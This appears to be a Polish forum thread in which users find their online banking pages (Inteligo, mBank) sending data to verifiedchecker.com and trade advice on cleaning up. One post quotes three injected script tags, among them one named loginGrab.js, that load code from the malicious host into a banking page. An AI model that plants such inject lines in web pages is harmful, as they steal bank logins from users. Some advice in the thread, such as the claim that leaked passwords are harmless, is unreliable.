verifiedchecker.com ?

[Leszczu]

Hej Brygado!

Czy spotkaliście się kiedyś ze stroną verifiedchecker.com ?

Jestem w swoim banku Inteligo i przy przejściu na inne podstrony obsługi konta, za każdym razem FF chwilę myśli i jest "przesyłanie danych do verifiedchecker.com".

Trochę mnie to niepokoi bo nigdy tego nie było...

Czy to jakiś robal?

[iman7]

Najlepiej skontaktuj się z bankiem. Nie ma sensu ryzykować.

[Paweł Sokołowski - Eline]

"Na bank robal" .. przesyla dane do jakiejs stronki na ktorej jest backdoor przesylajacy je dalej. Na twoim miejscu od razu zmiana hasla w banku przez inforlinie i blokada kart jesli ich uzywales.

[megauser]

100% fake, więc - jak wyżej.

[Iran]

Leszczu i jak rozwiązała się sprawa?

Podaj adres tej fake strony z inteligo, bo w sieci coś cisza

[Ptaq]

Jakiego antyvirusa używasz ?

[Leszczu]

Więc korzystałem z IE chwilowo. Nie wiem jak to zahaczyć, bo mam świeży system. Czym przeskanować to? Na necie niewiele jest napisane o tym VC - w zasadzie NIC.

Nie mam av żadnego, ale przeskanuję kasprem.

To jest tak, że jak jestem w banku to strony dłużej się przeładowują i pojawia się to co w zał.

[Ptaq]

Brak antywirusa + IE nie wróży sukcesu. Najbezpieczniej by było zrobić jeszcze raz formata. Zaraz po nim jakiegos Kasperskiego zainstalować i używając np. Firefoxa zmienić wszelkie hasła.

Jeżeli póki co nic się nie stało, to należałoby szybko te czynności wykonać i nie ma za bardzo co się rozwodzić nad problemem.

[Herkules]

https://niebezpiecznik.pl/post/uwaga-na-ataki-0day-na-internet-explorer/

nawet na wp pisali dziś rezygnować z IE!!!

https://tech.wp.pl/kat,1009785,title,Microsoft-zalata-grozna-luke-w-Internet-Explorerze-za-kilka-dni,wid,14939907,wiadomosc.html

i miłego wieczorka

[megauser]

Otwórz źródło strony i zobacz co się odwołuje do tego.

[MaxPan]

tylko w Inteligo są kody na karcie zdrapce co przychodzi poczta ( potrzebuje aktywacji przez kody ze starej karty i nowej) bez niej nikt nic nie zrobi, wiec hasła co wyciekli tak naprawd nic nie dadzą. Zupełnie. Co nie zmienia faktu że komputer tzreba chronić i ja polecałem by inna przeglądarkę

[Leszczu]

na ie jest to samo...

w kodzie faktycznie są odwołania do jakiegoś JS na tym adresie

Kasper tego nie wykrył..

[tpa]

Mam dokładnie to samo w mBanku, używam FF.

Ani Panda ani Kaspersky nic nie wykrywają.

Musi być jakieś nowe badziewie.

[tpa]

sk*******y:

<script src='https://verifiedchecker.com/gate/script/21d32f2f7a57a5a743X894a0e5az01fg3/pl/mbank.com.pl/mainATvars_nocache.js' type='text/javascript' language='JavaScript'></script>

<script src='https://verifiedchecker.com/gate/script/21d32f2f7a57a5a743X894a0e5az01fg3/pl/mbank.com.pl/mainAT.js' type='text/javascript' language='JavaScript'></script>

<script src='https://verifiedchecker.com/gate/script/21d32f2f7a57a5a743X894a0e5az01fg3/pl/mbank.com.pl/loginGrab.js' type='text/javascript' language='JavaScript'></script>

Najlepszy jest ten loginGrab.js.

Haslo zmienilem z innego kompa, ale wirusa dalej mam.

[Leszczu]

Poradziliście sobie z nim?

Czy da się zablokować dostęp na FF do danej domeny? To byłoby proste, ale nie wiem czy skuteczne.